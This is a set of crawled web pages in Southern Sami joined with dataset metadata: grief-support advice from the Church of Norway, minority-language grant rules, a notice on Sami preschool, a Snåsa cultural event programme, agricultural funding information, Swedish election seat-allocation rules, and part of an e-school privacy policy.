mïnnedh. Gellie sorkijh lïegkedimmien mietie sårkosne jïh ohtje sïejhme aarkebiejjien mietie haeliedieh. Mujhtieh dïhte maam böörh dagke ij sïjhth båetedh jallh dåeriedidh, jïh dam tjoerh jååhkesjidh. Vihkielommes datne gihtjh – jïh doesth ikth vielie gihtjedh.\nTsööpkh sjeavodsvoetem\nJeenjesh tuhtjieh geerve gaskesem sorkijinie vaeltedh. Maam edtjh jiehtedh? Enn jis eevre sjeavohth sjædta gosse ringkh jallh sorkije aalka tjearodh? Ij leah vihkielommes maam jeahtah, men doesth sjeavodsvoetem tsööpkedh. Såemies aejkien teekstebïevnese lea buerebe goh ringkedh, daamtaj aelhkebe bïevnesem åadtjodh jïh dam vaestiedidh.\nVuesehth datne desnie\nJeenjesh mijjeste bïllebe mubpiej jieleden sïjse tjihtedidh, jïh dellie illedahke maahta sjïdtedh mijjieh ibie maam gænnah darjoeh. Dagke ussjedibie sorkije buerebh sæjhta raeffesne årrodh, jallh vuertebe gaskesem vaeltedh goske \"vïerremes lea nåhkeme\". Tjoerebe tjïelkelaakan vuesiehtidh mijjieh desnie, olles sorkije ålkolen jallh åajaldamme domth.\nVedtieh sijjiem\nMaahta jeenjesh årrodh mah seamma almetjen bijjelen surkieh seamma tïjjen. Fïereguhte almetje mij aktem lïhkes almetjem dasseme, aktem sjïere ektiedimmiem åtna dïsse mij lea sealadamme. Sårkoe lea joekehts almetjistie almetjasse. Tjoerebe baajedh årrodh sårkoem jïjtjereeredh jïjtjene mojhtesigujmie jïh domtesigujmie. Tjoerebe mujhtedh sorkijen domtesh dah mah leah faamosne, saaht magkerh domtesh dah leah. Mijjen åssjaldahkh jïh soptsesh leah hævvi aaj vihkeles – men eah vihkielommes.\nÅrroeh vïssjeles\nVuesehth datne guarkoeh fïerhten sorkijen lea jïjtse sårkoeprosesse. Aellieh sårkoem \"båarhte soelkehth\", jïh aellieh aajpehtsvoetem vuesehth jis sorkije ij guhkiebasse båetieh. Ij leah sårkoen naan \"bööremes åvtelen-daatoe\", jïh ij naan iemie jallh ov-iemie guhkies tïjje sorkedh. Naakenh daarpesjieh seamma histovrijen soptsestidh gellien aejkien, jïh naakenidie maahta akte vihkeles bielie årrodh sårkoem guarkedh jïh gïetedidh.\nAellieh sårkoem åajeldh\nMaahtah biejjielåhkoen sisnie tjaeledh gosse golme, govhte jallh luhkiegöökte askh vaaseme mænngan almetje sealadi. Dellie maahtah vihth gaskesadtedh. Gosse veartene bïjre jarkan jåarhka dellie aelhkie vïenhtedh sårkoe vaanene, men jeenjesh båastoeh domtoeh. Sårkoe dagke vïerrebe sjædta. Joekoen gosse vååjnoe goh ij guhte jeatjebh mujhtieh jallh pryöjjedh vielie. Sårkoe baektjede, men gosse sårkoem juaka dellie maahta aelhkebe sjïdtedh dam guedtedh.\nMujhtieh jaepiebiejjiem\nSjïere mojhtesebiejjieh jïh heevehtimmieh leah daamtaj krïevije, jalhts gellie jaepieh vaaseme. Goh mubpiealmetje maahtah joekehtsem sorkijasse darjodh jis vuesehth datne sårkoem juakah jïh annje åemiealmetjem måjhtah. Daah mojhtesebiejjieh maehtieh årrodh jaememebiejjie, reakedsbiejjie jallh akte jeatjah sjïere tïjjemierie maam mïerhkesje. Jïh maahtah dam biejjiem dovne vaeniem jallh jïjnjem mïerhkesjidh , vihkielommes sorkije ij daarpesjh oktegh årrodh sov sårkosne.\nJåerhkieh mujhtedh\nAellieh bïllh almetjen bïjre soptsestidh mij lea jaameme. Vuartesjh guvvieh jïh juekieh mojhtesidie sinsitnine. Maahta lissie vihkeles årrodh dam måjhtelidh gosse sorkije akte maana, juktie dellie mijjieh geerve almetjh enn vååregåbpoe, jïh bïllebe fer lïhke båetedh dejtie geerve domtesidie.\nViehkie aarkebiejjien\nMaahtah jïjnjh praktihkeles aath sorkijen åvteste darjodh, aath mah leah vihkielåbpoe baakojste. Muvhten aejkien hokse maahta årrodh maanah sujhtedh, gaskebiejjiem jurjiehtidh, kraesiem bietskedh, bovresne mïnnedh jallh gåetiem bissedh. Maahta raaktan hoksem vuesiehtidh viehkine tjïelke dahkojste.\nGuessine mïnnedh mojhtesesijjesne\nAkte sjïere sijjie maam maahta åemiealmetjasse ektiedidh? Datne maahtah desnie mïnnedh sorkijinie ektine jïh ektesne mujhtedh. Tjoevkesem båaltajehtedh kroepten lïhke, musihkem spealadidh maam åemiealmetje bööremes lyjhki, prådtjoste laavkodh mij lij dan vihkeles åemiealmetjasse, jallh restaurantesne mïnnedh åemiealmetjen lyjhkedsbeapmoem dongkedh. Maahta aktem almetjem gellielaakan mujhtedh.\nFrykt ikke, for jeg er med deg, vær ikke redd, for jeg er din Gud! Jeg gjør deg sterk og hjelper deg og holder deg oppe med min rettferds høyre hånd. (Jesaja 41,10)\nSveerjen gærhkoe lea tjaalegem dorjeme, jïh Gærhkoeraerie, Nøørjen gærhkoe lea dam jarkoestamme. Stina Löfgren lea guvvide dorjeme.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/kirken.no\/nb-NO\/om-kirken\/slik-styres-kirken\/samisk-kirkeliv\/Diakoni\/f%C3%B8rstehjelp%20ved%20sorg\/voestesviehkiesarkosne\/","date":"2021-09-24T00:58:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057479.26\/warc\/CC-MAIN-20210923225758-20210924015758-00573.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":726,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe unnebelåhkoegïelide\nFïerhten jaepien Isof dåarjoem maaksa sjïere siebride Sveerjesne mij prosjektigujmie berkieh mij edtja dah nationelle unnebelåhkoegïelide dåarjodh. Gieh maahta syökedh jih guktie daam darjodh?\nGie maahta syökedh?\nDåarjomem maahta organisasjovnh jih stiftelserh syökedh mah eah staaten jallh tjïeltien tjïrrh, namhtan naan dïenesjimmie åssjelh mij Sveerjesne giehteleminie.\nGåarede aaj dåarjemem ohtsedidh jeatjah siebrieh jih organisasjovnh, stiftelserh jallh tjieltieh ektesne. Ij gåaredh oktegimsh almetje, aktiebolagh, firma namhtan organisationsnummerh jallh almetjeööhpetimmie.\nMisse maehtieh syøkedh?\nProsjeektebeetnegh naemhtie juekieh\n- Prosjeekth mij åssjalommes jih daam gïelemaahtoe maahtoem nännoestidh (maahtoem jih lohkedh, tjaeledh, soptsestidh jih gïelem guarkedh.)\n- Darjome guktie maahtoem bueriedidh gellieh giïeline, gïele goh kultuvreguedtije jallh gïele lïerehtimmie maadtoe boelvigaskem.\nSjïere krïevenassh daan ohtsemasse.\nGåessie edtjieh ohtsedh?\nOhtsemeboelhke fïerten jaepien gaskoeh goeven jih gaskoeh tsiengelen asken mubpien jaepien.\nGuktie ohtsieminie?\nOhtseme akten tjaalegisnie maam edtjh Isofse seedtedh minngemes ohtseme biejjien. Ohseme daaroen gïelesne.\nDåarjome nännoestimmie\nIsof sjïere referensedåehkiem utnieh mij ohtseminide gïehtjiedieh jih uvtelassem buektieh guktie dåarjojde juekedh. Nännoestimmie dåarjomen bïjre dihte åejvieladtje generaledirektööre vaalta. Gåessie nännoestamme dellie seedtieh e-påastene gaajhkh dejtie mij ohtseme. Akte lästoe dejtie nænnoestamme dårjojde daan isof.se sijjesne tjaelieh.\nGuktie dåarjomem nuhtjeme\nAkte organisasjovne jallh stiftelse mij dåarjomem åådtjeme tjuerieh beetnege nuhtjemem vuesiehtidh jih buerkiestidh minngemes biejjien mij nännoestimmesne tjåådtje.\nDaesnie maahta vielie lohkedh\nDaesnie webbesne gååvnese bieliej daaroengïelesne maam maahta lohkedh guktie ohtsedh jih dåarjomem vuesiehtidh, ohtsemetjaalegem veedtjedh, ohtseme bijjide vuejnedh jih nännoestimmie ohtsemh vuejnedh jih buerie raerieh åadtjodh.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.isof.se\/sidor-pa-nationella-minoritetssprak\/samegiella\/aarjelsaemien\/daarjoe-unnebelahkoegielide","date":"2021-09-27T22:52:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780058552.54\/warc\/CC-MAIN-20210927211955-20210928001955-00317.warc.gz","language":"sma","language_score":0.99999547,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999954700469971}","num_words":230,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Barn ska erbjudas plats i förskola där en väsentlig del av verksamheten sker på samiska om vårdnadshavare begär det. Det är en skyldighet som kommunen har enligt 8 kap. skollagen (2010:800).\nFörskolan ska medverka till att barn med annat modersmål än svenska får möjlighet att utveckla både det svenska språket och sitt modersmål.\nI Strömsunds kommun finns modersmålstränare som regelbundet besöker de förskolor som har samiska barn för att barnen ska få prata sitt modersmål. Kontakta oss om du är intresserad av att få samisk modersmålsträning för ditt barn.\nMaanah edtjieh sijjem aarhskuvlesne faaledh gusnie abpe jallh biehkiem darjomisnie saemiengïelesne lea jïs åelie dam bihkede. Tjïelten dïedte lea, naemhtie guktie skuvlelaakesne 8 kap. (2010:800) tjåådtje.\nAarhskuvle edtja meatan årrodh juktie maanah jeatjah ietniegïeline goh daaroengïele, nuepiem åadtjoeh gåabpegh daaroengïelem jïh dej ietniengïelem övtiedidh.\nStraejmien tjïeltesne ietniengïelebïhkedæjja gååvnese mij daamhtah aarhskuvli gåajkoe mænna ihke maanide edtjieh dej ietniengïelem soptsestidh. Jis datne ïedtjem åtnah saemien ietniegïeleööhpehtimmiem dov maanese åadtjodh datne maahtah tjïeltem gaskesadtedh.\nSenast ändrad\/granskad:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.stromsund.se\/1922.html","date":"2021-09-24T18:54:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057564.48\/warc\/CC-MAIN-20210924171348-20210924201348-00338.warc.gz","language":"sma","language_score":0.9767767191,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 0.9767767190933228, \"swe_Latn_score\": 0.020739424973726273}","num_words":159,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aejlegen, golken 24.b. Søndag 24.oktober\nTeater – Doajvvo- dåajvoe\nDoajvvo – dåajvoe lea teaterestuhtje musihkine teekstigujmie jïh laavlomigujmie dehtie noere artisteste Ronja-Katrin Larsen. Teeksth leah eksistensialismen bïjre, dah bæjjese vaeltieh guktie lea almetjinie årrodh jïh guktie lea orreme maanabaelien byjjenidh dïeves sårkoste jïh jueriedimmeste.\nDoajvvo – håp er en musikalsk forestilling med tekster og sanger av den unge artisten Ronja-Katrin Larsen. Tekstene er eksistensialistiske, de tar for seg hvordan det er å være et menneske og hvordan det har vært å vokse opp i en barndom fylt av sorg og usikkerhet.\nSijjie\/Sted: Snåsa hotell ts\/kl 19.00\nTeatereprïhtjhgåetie teaterestuhtjen mænngan sjædta\nDet blir teaterkafè etter forestillingen\nTjaangemeleahpah åastah daesnie;\/ Billetter kjøpes på hoopla.no https:\/\/saemiensijte.hoopla.no\/sales\/1268197564\nÖörn.\/Arr. Åarjelhsaemien teatere, Saemien sijte jïh Gïelem nastedh\nDæjstan, golken 26.b. Tirsdag 26.oktober\nThorkel Jonassen ööhpehtæjja jïh båatsoeburrie akten geerve baelien – håalome såaknen hearreste Jon Gunnar Krogstad\nThorkel Jonassen predikant og reineier i ei vanskelig tid – Forelesning av Sokneprest Jon Gunnar Krogstad\nThorkel Jonassen reakasovvi Sjeltesne Sveerjesne 1839, byjjeni Byrkijisnie jïh sealadi Snåasesne 1921. Dïhte lij ålma mij almetjidie tjarke baajnehti, dïhte lij dovne ööhpehtæjja jïh båatsoeburrie. Altese jieledehistovrije jïh gæmhpoe leah sjiehteles tjoevkesem bïejedh raaktan daan joekoen geerve tïjjese tjarke daaroedehtemepolitihkine jïh sjïdtije saemien vuestiestrategijigujmie jïh politihkeles organiseereminie. Thorkel lij akte dejstie mah lin meatan voestes saemien rïjhketjåanghkosne Metodistegærhkosne Tråantesne goevten 6. -9. b. 1917. Idtji dïhte oktegh Snåaseste vuelkieh. Mænnja Malene Torkelsen sov 8 jaepien båeries nïejtine jïh baernine Jon Torkelsen leah meatan rïjhketjåanghkose.\nThorkel Jonassen var født i Åsele i Sverige i 1839, vokste opp ved Børgefjell og døde i Snåsa i 1921. Det var en mann som gjorde djupt inntrykk på folk, han var både predikant og reineier.\nHans livshistorie og kamp er egna til å belyse nettopp denne svært vanskelige tida med knallhard fornorskingspolitikk og gryende samiske motstrategier og politisk organisering. Thorkel var en av deltakerne ved det første samiske landsmøtet i Metodistkirken i Trondheim 6.-9. februar 1917. Han reiser ikke alene fra Snåsa. Svigerdatter Malene Torkelsen med 8 års datter og hennes sønn Jon Torkelsen er med på landsmøtet.\nSijjie\/Sted: Snåasen gærjagåetie\/Snåsa bibliotek ts.\/kl. 18.00\nGåassoehtimmie\/Servering\nÖörn.\/Arr. Snåasen gærjagåetie jïh Gïelem nastedh\nGaskevåhkoen, golken 29.b.\/ Onsdag 29.oktober\nKonserte Saara Hermanssonine\nKonsert av Saara Hermansson\nSaara Hermansson er en sørsamisk musikkartist fra en liten by i Kultsjödalen i Västerbotten.\nHun har vunnet sangdelen i Sami Grand Prix i 2019 og har deltatt på flere konserter bl.a. påskefestivalen i Kautokeino og Riksscenen i Oslo. Hun formidler gamle tradisjonelle joiker, samt komponerer og skriver egne sanger og joiker.\nSijjie\/Sted: Snåasen gærhkoe\/Snåsa kirke ts.\/kl. 19.00\nPrïhtjege Såakneståaposne konserten mænngan\nKaffe i Soknestu etter konserten\nNamhtah tjaangedh!\nGratis inngang!\nDuarstan, golken 30.b.\/Torsdag 30.oktober\nDuedtieiehkede\/Sløydkveld.\nVaeltieh dov vætnoej meatan jih båetieh vytnesjidh\/Ta med deg ditt arbeide å kom og sløyd!\nSijjie\/Sted: Duodjeinstituhtta, Saemien sijte ts. 18.00\nBearjadahken, golken 29.b.\/ Fredag 29.oktober\nGïelepube \"quizine\"\nSpråkpub med guiz\nSijjie\/Sted: Garveriet Viosesne ts.\/kl. 19.00\n18+\/geerve almetjh\/voksne\nBeetnehpreemijh: vadtesekåarhte 5000 kråvnaj raajan\nPengepremier: gavekort opptil kr 5 000,-\nÖörn. NSR – Noerthe-Trøøndelagen Saemien Siebrie\nBearjadahken, golken 29.b. – aejlegen, golken 31.b. Fredag 29.okt – søndag 31.okt\nVierhkiesijjie – Daanhtsoe jïh vuelie\nVerksted – dans og joik\nSijjie\/Sted: Finnsås kuvsjejarnge, Snåase\/ Finnsås kurssenter, Snåsa\nDov lea ïedtje vielie kreekevueliej jïh kreekesvihtjemi bïjre lïeredh?\nMaahtah kreekesvihtjemh jïh kreekevuelieh stååkedimmesne nuhtjedh, gosse voelpide dorjehth jïh gosse jïjtse daanhtsoeh darjoeh. Dagke sïjhth aaj maam akt orre lïeredh maam maahtah nuhtjedh gosse meatan revyesne jallh teaterestuhtjesne.\nEr du interessert i å lære mer om dyrejoiker og dyrebevegelser?\nDu kan bruke dyrebevegelser og dyrejoiker i lek, når du opptrer for venner og når du lage egne danser. Kanskje vil du også lære noen nye ting du kan bruke når du er med på revyen eller i et teaterstykke.\nVielie bïevnesh gaavnh daesnie\/ Mer info finner du her:\nhttps:\/\/hats.no\/kurs\/daanhtsoe-jih-vuelie-dans-og-joik\njallh gaskesadth Gïelem nastedh'ine\neller ta kontakt med Gïelem nastedh\nÖörn.\/Arr.: Hats laavenjostoeguejmine Gïelem nastedh, Gïeleviehkie jïh Saemien sijte\nLaavadahken, golken 30.b. – måantan, gålkoen\/rahkan 1.b.\nLørdag 30.oktober – mandag 1.november\nKuvsje gaptamöönsterem darjodh – Laila Gunilla Wilks\nKurs i mønsterkonstruksjon\nKuvsjesne åådtje lïeredh möönsterem darjodh jïjtse möölegi mietie, jïh saemien terminologijem teeman bïjre lïeredh\nGjennom kurset får man lære seg å konstruere mønster ut fra personlige mål, og samisk terminologi knyttet til temaet.\nSijjie\/Sted: Gïelem nastedh\nÖörn.\/Arr.: Gïelem nastedh\nVåhkoen 43\/ Uke 43\nGïeleviehkie sæjhta ovmessie darjomh utnedh maanide\/noeride\nDah sijhtieh guvvieh\/filmh bïejedh sijjen instagram- jïh snapchatkontose abpe våhkoen.\nGïeleviehkie er ei gruppe ungdommer som løfter og synliggjør språket av og for ungdommer. De vil ha ulike aktiviteter\/språkleker for barn\/ungdom.\nDe vil legge ut bilder\/film på sin instagram- og snapchatkonto gjennom hele uka.\nDigitaale bæjhkoehtimmie laavlomegærjeste «Lyjhkebe laavlodh» mijjen gåetiesæjrosne www.gielemnastedh.no\nDigital lansering av sangboka «Lyjhkebe laavlodh» på vår hjemmeside www.gielemnastedh.no\nDigitaale videovegærjah mijjen gåetiesæjrosne jïh mijjen YouTube-kontosne Gïelem nastedh\nDigitale videobøker på vår hjemmeside og vår YouTube-konto Gïelem nastedh\nJoekedimmie saemien gïelematerijelleste goh refleekseveesth maanagiertide Snåasesne.\nUtdeling av samisk språkmateriale som refleksvester til barnehagene i Snåsa.\nÅarjelsaemien spaajhtekuvsje roll-upsinie baakoejgujmie jïh dïejvesigujmie mah bïejesuvvieh ovmessie gåetide bïjre jarkan Snåasesne.\nSørsamisk lynkurs på roll-ups med ord og uttrykk som plasseres rundt om i ulike bygg i Snåsa.\nSkuvlh sijhtieh jïjtsh darjomh utnedh daanhtsoe- jïh joejkeme-workshopine, jïh desnie Cecilia Persson jïh Ola Stinnerbom jïh Sara Hermansson meatan.\nSkolene vil ha egne aktiviteter med dans- og jojkeworkshop med Cecilia Persson og Ola Stinnerbom, og Sara Hermansson.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/gielemnastedh.no\/?p=1119","date":"2021-10-26T11:19:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587877.85\/warc\/CC-MAIN-20211026103840-20211026133840-00032.warc.gz","language":"sma","language_score":0.9215173125,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9215173125267029, \"sme_Latn_score\": 0.05447038635611534, \"nob_Latn_score\": 0.02042248472571373}","num_words":843,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.962,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jïjnjh soejkesjh jïh råajvarimmieh edtjieh laanteburriem evtiedidh\nLaavenjostoe fylhkensoejkesji bïjre, jielemesoejkesjh, Inn på tunet-råajvarimmmieh, fealadimmiesoejkesjh, evtiedimmie beapmoedorjemasseste jïh bioenergijeprogramme leah jarngesne daennie barkosne. Fylhkenålman lea dïedte evtiedidh jïh tjïrrehtidh laanteburrien regijovnale jielemestrategijem.\nBU-vierhtieh edtjieh jielemeevtiedimmiem eadtjoestidh\nFylhkenålma vierhtieh voeneevtiedæmman reerie (daaroen BU-vierhtieh) juktie råajvarimmieh salkehtidh jïh sjïehteladtedh. Edtja vierhtide nåhtadidh juktie jielemeevtiedimmiem eadtjoestidh voenine jïh laanteburresne, mestie dïeneste sjædta. Fylhkenålman edtja aaj tsevtsiedæjjine årrodh Innovasjovne Nöörjen Voengesbeapmoeprogrammese (ekonomeles tsavshvierhtieh maahtoen, såalhtjebïgkemen jïh viermien sisnjeli).\nInnovasjovne Nöörje dam bieliem BU-vierhtijste reerie, mij lea sïelti vööste. Fylhkentjïelte edtja BU-vierhtide reeredh dåårrehtæmman, mïrrestallemasse, minngieööhpehtæmman jïh maahtoelutnjemasse laanteburrie- jïh beapmoesuerkesne.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.statsforvalteren.no\/sma\/vestfold-og-telemark\/laanteburrie-jih-beapmoe\/jielemeevtiedimmie\/","date":"2021-10-25T04:28:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587623.1\/warc\/CC-MAIN-20211025030510-20211025060510-00438.warc.gz","language":"sma","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 0.9999935626983643}","num_words":96,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Published: 11 March 2020\nMandaate joekedimmie\nGosse gaajhkh tjaatsestimmieh ryökneme mandaatejoekedimmiem krirriej gaskem joekedidh.\nDan mænngan vihteste mah kandidaath mah lïhtsegh sjidtieh. Lïhtsegh voestes ierese nammohte persovnekroessi mietie.\nGosse eah naan vielie kandidaath maehtieh nammoehtidh persovnekroessi mietie dellie dah sijjieh mah aajmene dan öörnegen mietie guktie kandidaath veeljemesïetelinie tjaaleme.\nRïjhkebiejjie\nGuktie meatan åadtjoeh mandaatejoekedimmesne årrodh\nrïjhkebiejjieveeljemisnie tjuara krirrie unnemes njieljie proseenth tjaatsestimmielåhkoste åadtjodh abpe laantesne. Mohte jis krirrie veeljemisnie åådtjeme unnemes luhkiegöökte\nproseenth tjaatsestimmijste veeljemegievlesne krirrie åådtje meatan årrodh joekedimmesne dehtie tjïrkes mandaatijste dennie veeljemegievlesne.\nEllies edtja 349 mandaath joekedidh, dejstie leah 310 tjïrkes jïh 39 jalkedimmiemandaath. Jalkedimmiemandaath gelkieh darjodh dan soe proporsjovnellen joekedimmiem mandaatijste guktie gåarede.\nGuktie kandidaate edtja maehtedh veeljesovveme persovnetjaatsestimmiejgujmie rïjhkebeajjan edtja kandidaate åådtjeme persovnekroesside unnemes 5 proseentijste krirrien veeljemesïetelinie veeljemegievlesne.\nTjïelte- jïh laantedigkiereeremh\nVeeljemisnie laantedigkiereeremasse mandaatide joekedidh dej krirriej gaskem mah unnemes golme proseenth tjaatsestimmijste abpe laantedigkesne.\nJoekedimmesne mandaatijste tjïeltereeremasse tjuara krirrie åådtjeme unnemes 3 proseenth tjaatsestimmijste tjïeltine mah veeljemegievlide juakeme jïh 2 proseenth tjïeltine mah eah leah veeljemegievlide juakeme.\nGuktie kandidaate edtja maehtedh veeljesovveme persovnetjaatsestimmiejgujmie tjïelte- jallh laantedigkiereeremidie edtja kandidaate åådtjeme persovnekroesside unnemes 5 proseentijste krirrien veeljemesïetelinie veeljemegievlesne, mohte unnemes 100 veeljemisnie laantedigkiereeremasse jïh 50 veeljemisnie tjïeltereeremasse.\nEuropa-parlameente\nAjve dah krirrieh gïeh leah åådtjeme unnemes njieljie proseenth tjaatsestimmijste abpe laantesne åadtjoeh meatan årrodh mandaatejoekedimmesne Europa-parlameentese.\nParlameente åtna jeenjemes 751 mandaath jïh mandaatelåhkoen våarome lea fïerhten lïhtsegelaanten årrojestuaradahke. Jis vuesiehtimmien gaavhtan Sveerje åtna 20 mandaath Europa-parlameentesne jïh akte krirrie åådtje 10 proseenth tjaatsestimmijste veeljemisnie, byöroe krirrie aaj åadtjodh 10 proseenth mandaatijste, dïhte sæjhta jiehtedh 2 mandaath.\nGuktie kandidaate edtja maehtedh veeljesovveme persovnetjaatsestimmiejgujmie Europa-parlameentese edtja kandidaate åådtjeme persovnekroesside unnemes 5 proseentijste krirrien veeljemesïetelinie abpe Sveerjesne.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemeoornege\/mandaate-joekedimmie.html","date":"2021-10-16T15:29:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323584886.5\/warc\/CC-MAIN-20211016135542-20211016165542-00270.warc.gz","language":"sma","language_score":0.9999785423,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 0.9999785423278809}","num_words":251,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PERSOVNEVAARJELIMMIEBÆJHKOME ABC-Company E-skuvla AS\njïh ektiedamme digitaale bæjhkoehtimmide jïh dïenesjidie.\nABC-Company E-skuvla AS (E-skuvle) tuhtjie vihkeles dov persovnevaarjelimmiem vaarjelidh jïh respekteradidh. E-skuvle persovnebïevnesh gïetede persovnebïevneselaaken mietie dej fierhten aejkien sïejhme laaki mietie. Daate persovnevaarjelimmiebæjhkome buerkeste mah persovnebïevnesh mijjieh dåastobe jïh sïjse tjöönghkebe gosse datne digitaale bæjhkoehtimmieh jïh vuelebe dïenesjh nuhtjh mejtie E-skuvle bæjhkohte (aaj faamosne \"digitaale vuekieh\"), jïh maam mijjieh darjobe juktie dov persovnebïevnesh vaarjelidh.\nE-skuvle datnem haasta daejnie persovnevaarjelimmiebæjhkoeminie hijvenlaakan åahpenidh. Gosse datne mijjen bæjhkoehtimmieh jïh dïenesjh åtnose vaaltah datne mijjen gïetedimmiem persovnebïevnesijstie jååhkesjh daan persovnevaarjelimmiebæjhkomem mietie jïh dej mieriej sisnjeli mah leah daaletje laaki mietie.\n1 GÏETEDIMMIEN TJÅADTJOEHTÆJJA\nE-skuvle dïedtem åtna gïetedimmien åvteste persovnebïevnesijstie dej digitaale bæjhkoehtimmiejgujmie jïh vuelebe dïenesjigujmie, mejtie E-skuvle olkese vadta.\n2 PERSOVNEBÏEVNESH\n2.1 Bïevnesh datne jïjtje mijjese vadtah\nE-skuvle doh persovnebïevnesh gïetede mejtie datne vadtah gosse jïjtjemdh mijjen luvnie registreredh, jïh bïevnesh mejtie jeatjahlaakan jïjtjevyljehke datneste vadtah, vuesiehtimmien gaavhtan gosse utnijeprofijlem tseegkh, bïevnesh vadtah nommen, adressen, e-påasten, mobijlenommeren, aalteren jïh dagke aaj ïedtji bïjre.\n2.2 Bïevnesh E-skuvle sïjse tjöönghkie gosse mijjen dïenesjh nuhtjh\nGosse digitaale bæjhkoehtimmieh jïh vuelebe dïenesjh nuhtjh, E-skuvla registrerede viehkine ovmessie analyjsedïrregijstie, dov darjomh. E-skuvle aaj bïevnesh sïjse tjöönghkie dehtie ektievoeteste maam nuhtjh, gosse mijjen digitaale vuekieh vaaksjoeh, vuesiehtimmien gaavhtan bïevnesh IP-adressen, operatijvesysteemen, nedtelohkijen jïh nedteviermien bïjre.\nE-skuvle aaj bïevnesh tjöönghkie åtnoen jïh trafihken bïjre, vuesiehtimmien gaavhtan bïevnesh sïjseloggadimmiehistorihken bïjre, åtnoe- jïh svihtjememöönsteren bïjre, mah tjaalegh utnijh luhkieh, man gellien aejkien tjaalegh leah vuajnalgamme jïh man gellie utnijh. E-skuvle aaj bïevnesh tjöönghkie saernieprieviedongkemen bïjre, daan nuelesne mah saernieprievieh mah dutnjien seedtesuvvieh, guhte dejstie datne rïhpesth, maam e-påasteklientide datne nuhtjh, gusnie datne leah gosse saernieprieviem rïhpesth jïh misse deadtah daejnie e-påastine.\nDastegh datne sijjiebaseradamme dïenesjh nuhtjh, E-skuvle maahta sïjse tjöönghkedh jïh bïevnesh gïetedidh dov posisjovnen bïjre. E-skuvle sæjhta sjïerelaakan datnem bïeljelidh jïh jååhkesjimmien bïjre birredh åvtelen dagkerh bïevnesh sïjse tjöönghkebe. Datne maahtah saaht gåessie dov jååhkesjimmiem bååstede giesedh daaletje laaki mietie.\n2.3 Sjïere åtnoen bïjre cookiesistie\nMijjen digitaale vuekine nuhtjebe bïevnesekaapselh, mah gohtjesuvvieh cookies: Vielie bïevnesh, vuartesjh BIJA LINKKA\nMïerhkh, gosse datne E-skuvla nuhtjh dellie aaj mijjen åtnoem bïevnesekaapselijstie (cookies) jååhkesjh.\n3 MIJJEN ÅTNOE PERSOVNEBÏEVNESIJSTIE\nE-skuvle persovnebïevnesh nuhtjie mejtie datne leah vadteme juktie maehtedh dutnjien dejtie dïenesjidie vedtedh mej åvteste datne lea jïjtjemdh registreradamme, jïh juktie maehtedh datnine govlesadtedh daej bïjre. Mijjieh aaj sïjse tjöönghkebe jïh bïevnesh gïetedibie gosse mijjen dïenesjh nuhtjh mah leah bijjielisnie buerkiestamme juktie maehtedh sisvegem sjïehtedidh jïh annonside sjïerelaakan stuvredh dov dåemiedimmien jïh preferanseaarvehtsi mietie, maarhkedetreendh analyseradidh, mijjen bæjhkoehtimmieh jïh dïenesjh bueriedidh jïh båajhtoeh åtnoem heerredidh jïh vueptiestidh.\n3.1 Persovneprofijlh\nMuvhten aejkien E-skuvle persovnebïevnesh vierteste mejtie mijjieh åådtjebe datneste bïevnesigujmie jeatjah gaaltijijstie. Maahta vuesiehtimmien gaavhtan årrodh mijjieh dongkemedaatah jïh bïevnesh nommen jïh adressen bïjre viertiestibie mejtie datne leah vadteme, bïevnesigujmie dej bæjhkoehtimmiej jïh låhkoej bïjre datne nuhtjh, sïjseloggadimmiehistorihke jallh daatah dov åtnoemöönsteren bïjre. Daah daatah öörnesuvvieh goh persovneprofijlh jïh tjåanghkan bïejesuvvieh krypteradamme jïh tjeakoes utnije-id'i baaktoe. Sijhtebe 